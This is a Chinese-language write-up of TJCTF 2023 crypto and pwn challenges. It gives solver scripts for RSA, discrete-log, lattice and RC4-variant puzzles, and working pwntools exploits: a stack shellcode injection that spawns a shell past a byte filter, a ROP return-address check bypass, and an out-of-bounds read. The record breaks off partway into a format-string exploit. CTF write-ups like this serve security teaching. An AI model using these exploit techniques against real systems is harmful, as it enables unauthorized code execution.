• [tjctf 2023] crypto,pwn,rev部分


    三块没有一个通关的。rev差两个,crypto.pwn都差一题

    Crypto

    baby-rsa

    给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号

    1. n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
    2. e = 3
    3. c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
    1. iroot(c,3)
    2. #tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}

    ezdlp

    dlp入门,没有任何弯,直接取对数

    1. g = 8999
    2. s = 11721478752747238947534577901795278971298347908127389421908790123
    3. p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097
    4. g^x = s mod p
    5. flag = tjctf{x}
    1. x = discrete_log(s,mod(g,p))
    2. #tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}

    iheartrsa

    给了远程代码,这里e没有给出,是说当乘幂大于n时即可。

    1. #!/usr/local/bin/python3.10 -u
    2. import ast
    3. import sys
    4. import select
    5. from Crypto.Util import number
    6. import hashlib
    7. with open('flag.txt') as f:
    8. flag = f.readline()
    9. raw_bin = str(
    10. bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
    11. hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)
    12. p = number.getPrime(1024)
    13. q = number.getPrime(1024)
    14. n = p * q
    15. e = 0
    16. for i in range(0, 100):
    17. if pow(hsh, i) >= n:
    18. e = i
    19. break
    20. m = pow(hsh, e, n)
    21. print(f'm: {m}')
    22. print(f'n: {n}')
    23. def input_with_timeout(prompt, timeout):
    24. sys.stdout.write(prompt)
    25. sys.stdout.flush()
    26. ready, _, _ = select.select([sys.stdin], [], [], timeout)
    27. if ready:
    28. return sys.stdin.readline().rstrip('\n')
    29. raise Exception
    30. try:
    31. answer = input_with_timeout('', 20)
    32. try:
    33. answer = ast.literal_eval(answer)
    34. if hsh == answer:
    35. print('you love rsa so i <3 you :DD')
    36. print(flag)
    37. else:
    38. print("im upset")
    39. except Exception as e:
    40. print("im very upset")
    41. except Exception as e:
    42. print("\nyou've let me down :(")

    flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破

    1. from pwn import *
    2. context.log_level = 'debug'
    3. io = remote('tjc.tf', 31628)
    4. io.recvuntil(b'm: ')
    5. m = eval(io.recvline())
    6. io.recvuntil(b'n: ')
    7. n = eval(io.recvline())
    8. e = 8
    9. while True:
    10. m += n
    11. v = iroot(m,8)
    12. if v[1]:
    13. io.sendline(str(v[0]).encode())
    14. io.recvline()
    15. print(io.recvline())
    16. break
    17. #tjctf{iloversaasmuchasilovemymom0xae701ebb}

    squishy

    rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可

    1. #!/usr/local/bin/python3.10 -u
    2. import sys
    3. import select
    4. from Crypto.Util.number import bytes_to_long, getPrime
    5. def input_with_timeout(prompt, timeout=10):
    6. sys.stdout.write(prompt)
    7. sys.stdout.flush()
    8. ready, _, _ = select.select([sys.stdin], [], [], timeout)
    9. if ready:
    10. return sys.stdin.buffer.readline().rstrip(b'\n')
    11. raise Exception
    12. def sign(a):
    13. return pow(bytes_to_long(a), d, n)
    14. def check(a, s):
    15. return bytes_to_long(a) == pow(s, e, n)
    16. e = 65537
    17. users = {b"admin"}
    18. p = getPrime(1000)
    19. q = getPrime(1000)
    20. n = p * q
    21. d = pow(e, -1, (p - 1) * (q - 1))
    22. print(n)
    23. while True:
    24. cmd = input("Cmd: ")
    25. if cmd == "new":
    26. name = input_with_timeout("Name: ")
    27. if name not in users:
    28. users.add(name)
    29. print(name, sign(name))
    30. else:
    31. print("Name taken...")
    32. elif cmd == "login":
    33. name = input_with_timeout("Name: ")
    34. sig = int(input_with_timeout("Sign: ").decode())
    35. if check(name, sig) and name in users:
    36. if name == b"admin":
    37. print("Hey how'd that happen...")
    38. print(open("flag.txt", "r").read())
    39. else:
    40. print("No admin, no flag")
    41. else:
    42. print("Invalid login.")
    43. else:
    44. print("Command not recognized...")
    1. from pwn import *
    2. p = remote('tjc.tf', 31358)
    3. context.log_level = 'debug'
    4. p.sendlineafter(b"Cmd: ", b'new')
    5. p.sendlineafter(b"Name: ", b'\x00admin')
    6. enc = int(p.recvline().decode().split(' ')[1])
    7. p.sendlineafter(b"Cmd: ", b'login')
    8. p.sendlineafter(b"Name: ", b'admin')
    9. p.sendlineafter(b"Sign: ", str(enc).encode())
    10. p.recvline()
    11. print(p.recvline())
    12. p.interactive()
    13. #tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}

    e

    低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)

    1. from Crypto.Util.number import bytes_to_long
    2. p = random_prime(2 ^ 650)
    3. q = random_prime(2 ^ 650)
    4. N = p*q
    5. e = 5
    6. flag = open("flag.txt", "rb").read().strip()
    7. m = bytes_to_long(b'the challenges flag is ' + flag)
    8. c = m ^ e % N
    9. print("N: ", N)
    10. print("C: ", c)
    11. print("e: ", e)

    前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长

    1. def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
    2. """
    3. Coppersmith revisited by Howgrave-Graham
    4. finds a solution if:
    5. * b|modulus, b >= modulus^beta , 0 < beta <= 1
    6. * |x| < XX
    7. """
    8. #
    9. # init
    10. #
    11. dd = pol.degree()
    12. nn = dd * mm + tt
    13. #
    14. # checks
    15. #
    16. if not 0 < beta <= 1:
    17. raise ValueError("beta should belongs in (0, 1]")
    18. if not pol.is_monic():
    19. raise ArithmeticError("Polynomial must be monic.")
    20. #
    21. # calculate bounds and display them
    22. #
    23. # Coppersmith revisited algo for univariate
    24. #
    25. # change ring of pol and x
    26. polZ = pol.change_ring(ZZ)
    27. x = polZ.parent().gen()
    28. # compute polynomials
    29. gg = []
    30. for ii in range(mm):
    31. for jj in range(dd):
    32. gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
    33. for ii in range(tt):
    34. gg.append((x * XX)**ii * polZ(x * XX)**mm)
    35. # construct lattice B
    36. BB = Matrix(ZZ, nn)
    37. for ii in range(nn):
    38. for jj in range(ii+1):
    39. BB[ii, jj] = gg[ii][jj]
    40. # LLL
    41. BB = BB.LLL()
    42. # transform shortest vector in polynomial
    43. new_pol = 0
    44. for ii in range(nn):
    45. new_pol += x**ii * BB[0, ii] / XX**ii
    46. # factor polynomial
    47. potential_roots = new_pol.roots()
    48. print("potential roots:", potential_roots)
    49. return potential_roots
    50. N = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
    51. c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
    52. e = 5
    53. from gmpy2 import iroot
    54. from Crypto.Util.number import long_to_bytes ,bytes_to_long
    55. m = bytes_to_long(b'the challenges flag is ')
    56. for i in range(5,80): #爆破flag长度
    57. P. = PolynomialRing(Zmod(N))
    58. f = (m*2^(i*8) + x)^e - c
    59. dd = f.degree()
    60. beta = 1
    61. epsilon = 0.05 #beta / 7
    62. mm = ceil(beta**2 / (dd * epsilon))
    63. tt = floor(dd * mm * ((1/beta) - 1))
    64. XX = ceil(N**((beta**2/dd) - epsilon))
    65. roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
    66. print(i, roots)
    67. #tjctf{coppersword2}

    merky-hell

    这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。

    1. from math import gcd
    2. import secrets
    3. from Crypto.Util.number import *
    4. from Crypto.Cipher import AES
    5. from Crypto.Util.Padding import pad
    6. n = 48
    7. with open('flag.txt', 'rb') as f:
    8. flag = f.read()
    9. def randint(a, b):
    10. return int(secrets.randbelow(int(b-a + 1)) + a) #[a,b]
    11. def makeKey():
    12. W = []
    13. s = 0
    14. for i in range(n):
    15. curr = 0
    16. if i != 0:
    17. curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))
    18. else:
    19. curr = randint(1, 2**n)
    20. assert s < curr
    21. s += curr
    22. W.append(curr)
    23. q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)
    24. r = randint(2, q - 2)
    25. r //= gcd(r, q)
    26. B = []
    27. for w in W:
    28. B.append((r * w) % q)
    29. return B, (W, q, r)
    30. def encrypt(public, m):
    31. return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前
    32. pub, _ = makeKey()
    33. sup_sec_num = secrets.randbits(n)
    34. msg = encrypt(pub, sup_sec_num)
    35. iv = secrets.token_bytes(16)
    36. key = pad(long_to_bytes(sup_sec_num), 16)
    37. cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    38. ct = cipher.encrypt(pad(flag, 16))
    39. print('B =', pub)
    40. print('msg =', msg)
    41. print('iv =', iv.hex())
    42. print('ct =', ct.hex())

    直接套用,最后AES解密

    1. B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
    2. msg = 4096661050207034370558640511465
    3. iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
    4. ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')
    5. #背包问题
    6. nbits = 48
    7. A = Matrix(ZZ, nbits + 1, nbits + 1)
    8. for i in range(nbits):
    9. A[i, i] = 1
    10. A[i, nbits] = B[i]
    11. A[nbits,nbits] = -int(msg)
    12. res = A.LLL()
    13. #搜索验证
    14. for i in range(0, nbits + 1):
    15. # print solution
    16. M = res.row(i).list()
    17. flag = True
    18. for m in M:
    19. if m != 0 and m != 1:
    20. flag = False
    21. break
    22. if flag:
    23. print(i, M)
    24. M = ''.join(str(j) for j in M)
    25. # remove the last bit
    26. M = M[:-1] #矩阵是n+1行,结果是n+1个值,最后一个去掉
    27. m = int(M, 2)
    28. print(m)
    29. # [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
    30. #233294031172328
    31. from Crypto.Util.number import long_to_bytes
    32. from Crypto.Util.Padding import pad
    33. from Crypto.Cipher import AES
    34. sup_sec_num = 233294031172328
    35. key = pad(long_to_bytes(sup_sec_num), 16)
    36. cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    37. flag = cipher.decrypt(ct)
    38. #tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}

    keysmith

    这个第一天给难住了,第二天突然想到解法

    1. #!/usr/local/bin/python3.10 -u
    2. from Crypto.Util.number import getPrime
    3. flag = open("flag.txt", "r").read()
    4. po = getPrime(512)
    5. qo = getPrime(512)
    6. no = po * qo
    7. eo = 65537
    8. msg = 762408622718930247757588326597223097891551978575999925580833
    9. s = pow(msg,eo,no)
    10. print(msg,"\n",s)
    11. try:
    12. p = int(input("P:"))
    13. q = int(input("Q:"))
    14. e = int(input("E:"))
    15. except:
    16. print("Sorry! That's incorrect!")
    17. exit(0)
    18. n = p * q
    19. d = pow(e, -1, (p-1)*(q-1))
    20. enc = pow(msg, e, n)
    21. dec = pow(s, d, n)
    22. if enc == s and dec == msg:
    23. print(flag)
    24. else:
    25. print("Not my keys :(")

    题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。

    虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。

    第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。

    另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。

    1. from pwn import *
    2. from Crypto.Util.number import isPrime
    3. from sage.all import *
    4. io = remote('tjc.tf', 31103)
    5. context.log_level = 'debug'
    6. msg = eval(io.recvline())
    7. s = eval(io.recvline())
    8. #get p
    9. for j in range(3,0x1000000):
    10. p = j*(17<<1020)+1 #p-1光滑
    11. if is_prime(p):
    12. print(j)
    13. try:
    14. e = discrete_log(s,mod(msg,p))
    15. if gcd(e, p-1) == 1:
    16. print('p:', p)
    17. print('e:', e)
    18. break
    19. except:
    20. continue
    21. for j in range(3,0x10000,2):
    22. if isPrime(j):
    23. if pow(msg,e,j*p) == s and gcd(e, j-1)==1:
    24. print('q:',j)
    25. q = j
    26. break
    27. io.sendlineafter(b"P:", str(p).encode())
    28. io.sendlineafter(b"Q:", str(q).encode())
    29. io.sendlineafter(b"E:", str(e).encode())
    30. io.recvline()
    31. io.recvline()
    32. io.interactive()
    33. '''
    34. 762408622718930247757588326597223097891551978575999925580833
    35. 43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304
    36. 167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
    37. 3
    38. 46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
    39. b'tjctf{lock-smith_289378972359}'
    40. '''

    aluminum-isopropoxide

    给了程序加密原码和3个密文(哪个感觉未知)

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. using namespace std;
    10. using namespace std::filesystem;
    11. typedef uint8_t Byte;
    12. void make_key(Byte *S, const std::string &key)
    13. {
    14. for (int i = 0; i < 255; i++)
    15. S[i] = i;
    16. Byte j = 0;
    17. for (int i = 0; i < 255; i++)
    18. {
    19. j = (j ^ S[i] ^ key[i % key.length()]) % 256;
    20. std::swap(S[i], S[j]);
    21. }
    22. }
    23. Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};
    24. void enc(Byte *S, Byte *out, int amount)
    25. {
    26. Byte i = 0;
    27. Byte j = 0;
    28. int ctr = 0;
    29. while (ctr < amount)
    30. {
    31. i = (i * j) % 256;
    32. j = (i + S[j]) % 256;
    33. // std::swap(S[i],S[j]);
    34. Byte K = (S[i] & S[j]);
    35. out[ctr] ^= S_box[K];
    36. ctr++;
    37. }
    38. }
    39. Byte key[256];
    40. int main()
    41. {
    42. std::string path = current_path();
    43. std::vector files;
    44. for (const auto &file : directory_iterator(path))
    45. files.push_back(std::string(file.path()));
    46. for (const auto &file : files)
    47. {
    48. std::cout << file << "\n";
    49. struct stat results;
    50. std::ifstream in(file);
    51. std::ofstream out(file + ".enc", std::ofstream::binary);
    52. if (stat(file.c_str(), &results) == 0)
    53. {
    54. uint8_t *buffer = new uint8_t[results.st_size];
    55. in.read((char *)buffer, results.st_size);
    56. make_key(key, std::to_string(rand()));
    57. enc(key, buffer, results.st_size);
    58. out.write((char *)buffer, results.st_size);
    59. delete[] buffer;
    60. }
    61. in.close();
    62. out.close();
    63. }
    64. return 0;
    65. }

    看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。

    用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)

    1. '''
    2. make_key(Byte *S, const std::string &key)
    3. {
    4. for (int i = 0; i < 255; i++)
    5. S[i] = i;
    6. Byte j = 0;
    7. for (int i = 0; i < 255; i++)
    8. {
    9. j = (j ^ S[i] ^ key[i % key.length()]) % 256;
    10. std::swap(S[i], S[j]);
    11. }
    12. }
    13. '''
    14. def make_key(key):
    15. S = [i for i in range(256)]
    16. #S[255]=0
    17. j = 0
    18. for i in range(256):
    19. j = (j^S[i]^key[i%len(key)])%256
    20. S[i],S[j] = S[j],S[i]
    21. return S
    22. '''
    23. void enc(Byte *S, Byte *out, int amount)
    24. {
    25. Byte i = 0;
    26. Byte j = 0;
    27. int ctr = 0;
    28. while (ctr < amount)
    29. {
    30. i = (i * j) % 256;
    31. j = (i + S[j]) % 256;
    32. // std::swap(S[i],S[j]);
    33. Byte K = (S[i] & S[j]);
    34. out[ctr] ^= S_box[K];
    35. ctr++;
    36. }
    37. }
    38. '''
    39. def enc(S, c):
    40. i,j,ctr = 0,0,0
    41. out = list(c)
    42. for _ in range(len(c)):
    43. i = (i*j)%256
    44. j = (i + S[j])%256
    45. K = (S[i]&S[j])
    46. out[ctr] ^= S_box[K]
    47. ctr +=1
    48. print(bytes(out))
    49. rand = [1804289383,846930886,1681692777] #未置种子,前3个值为
    50. S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]
    51. for i in range(3):
    52. S = make_key(str(rand[i]).encode())
    53. enc(S, open('flag.txt.enc', 'rb').read())
    54. enc(S, open('flag1.txt.enc', 'rb').read())
    55. enc(S, open('flag2.txt.enc', 'rb').read())
    56. '''
    57. b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
    58. b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
    59. b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
    60. b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
    61. b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
    62. b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
    63. b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
    64. b'tjctf{flag_under_mountain_of_dust}'
    65. b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
    66. '''

    PWN

    flip-out

    flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int v4; // [rsp+4h] [rbp-BCh]
    4. FILE *stream; // [rsp+8h] [rbp-B8h]
    5. char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF
    6. __int16 v7; // [rsp+3Eh] [rbp-82h]
    7. __int64 v8; // [rsp+40h] [rbp-80h]
    8. __int64 v9; // [rsp+48h] [rbp-78h]
    9. __int64 v10; // [rsp+50h] [rbp-70h]
    10. __int64 v11; // [rsp+58h] [rbp-68h]
    11. __int64 v12; // [rsp+60h] [rbp-60h]
    12. __int64 v13; // [rsp+68h] [rbp-58h]
    13. __int64 v14; // [rsp+70h] [rbp-50h]
    14. __int64 v15; // [rsp+78h] [rbp-48h]
    15. __int64 v16; // [rsp+80h] [rbp-40h]
    16. __int64 v17; // [rsp+88h] [rbp-38h]
    17. __int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF
    18. v18[5] = __readfsqword(0x28u);
    19. setbuf(_bss_start, 0LL);
    20. strcpy(nptr, "Nothing to see here... Nothing to see here...");
    21. v7 = 0;
    22. v8 = 0LL;
    23. v9 = 0LL;
    24. v10 = 0LL;
    25. v11 = 0LL;
    26. v12 = 0LL;
    27. v13 = 0LL;
    28. v14 = 0LL;
    29. v15 = 0LL;
    30. v16 = 0LL;
    31. v17 = 0LL;
    32. memset(v18, 0, 25);
    33. stream = fopen("flag.txt", "r");
    34. if ( stream )
    35. {
    36. fgets((char *)v18, 25, stream);
    37. fclose(stream);
    38. printf("Input: ");
    39. __isoc99_scanf("%15s", nptr);
    40. v4 = atoi(nptr);
    41. if ( v4 <= 128 )
    42. printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可
    43. return 0;
    44. }
    45. else
    46. {
    47. printf("Cannot find flag.txt.");
    48. return 1;
    49. }
    50. }

    shelly

    栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。

    唯一的卡就就是一个检查,不过可以用第1字节是0绕过

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char s[256]; // [rsp+0h] [rbp-100h] BYREF
    4. setbuf(stdout, 0LL);
    5. printf("0x%lx\n", s);
    6. fgets(s, 512, stdin);
    7. for ( i = 0; i <= 510 && s[i]; ++i ) // 0绕过
    8. {
    9. if ( s[i] == 15 && s[i + 1] == 5 )
    10. {
    11. puts("nonono");
    12. exit(1);
    13. }
    14. }
    15. puts("ok");
    16. return 0;
    17. }
    1. from pwn import *
    2. #p = process('./chall')
    3. p = remote('tjc.tf', 31365)
    4. context(arch='amd64', log_level='debug')
    5. #gdb.attach(p, "b*0x401255")
    6. p.recvuntil(b'0x')
    7. s_addr = int(p.recvline(), 16)
    8. pay = b'\x00'+ asm(shellcraft.sh())
    9. pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)
    10. p.sendline(pay)
    11. p.interactive()
    12. #tjctf{s4lly_s3lls_s34sh3lls_50973fce}

    groppling-hook

    给了原码,有后门win

    1. #include "stdio.h"
    2. #include
    3. void laugh()
    4. {
    5. printf("ROP detected and denied...\n");
    6. exit(2);
    7. }
    8. void win()
    9. {
    10. FILE *fptr;
    11. char buf[28];
    12. // Open a file in read mode
    13. fptr = fopen("flag.txt", "r");
    14. fgets(buf, 28, fptr);
    15. puts(buf);
    16. }
    17. void pwnable()
    18. {
    19. char buffer[10];
    20. printf(" > ");
    21. fflush(stdout);
    22. read(0, (char *)buffer, 56);
    23. /* Check ret */
    24. __asm__ __volatile__("add $0x18, %rsp;"
    25. "pop %rax;"
    26. "cmp $0x0401262, %rax;"
    27. "jle EXIT;"
    28. "cmp $0x040128a, %rax;"
    29. "jg EXIT;"
    30. "jmp DONE;"
    31. "EXIT:"
    32. "call laugh;"
    33. "DONE: push %rax;");
    34. return;
    35. }
    36. int main()
    37. {
    38. setbuf(stdout, NULL);
    39. pwnable();
    40. return 0;
    41. }

    代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。

    1. from pwn import *
    2. #p = process('./out')
    3. p = remote('tjc.tf', 31080)
    4. context(arch='amd64', log_level='debug')
    5. #gdb.attach(p, "b*0x401255")
    6. pay = b'\x00'*18 + flat(0x40128a, 0x4011b3) #ret绕过检查,再到后门
    7. p.sendafter(b" > ", pay)
    8. p.recvline()
    9. p.interactive()

    formatter

    看名字是格式化字符串漏洞

    在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。

    先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char s[268]; // [rsp+0h] [rbp-110h] BYREF
    4. int i; // [rsp+10Ch] [rbp-4h]
    5. setbuf(_bss_start, 0LL);
    6. xd = calloc(1uLL, 4uLL); // 403440
    7. printf("give me a string (or else): ");
    8. fgets(s, 256, stdin);
    9. printf(s);
    10. r1(s[0]);
    11. if ( win() ) // xd = 141191486
    12. {
    13. for ( i = 0; i <= 255; ++i )
    14. putchar(among[i]);
    15. }
    16. free(xd);
    17. return 0;
    18. }
    1. from pwn import *
    2. #p = process('./format')
    3. p = remote('tjc.tf', 31764)
    4. context(arch='amd64', log_level='debug')
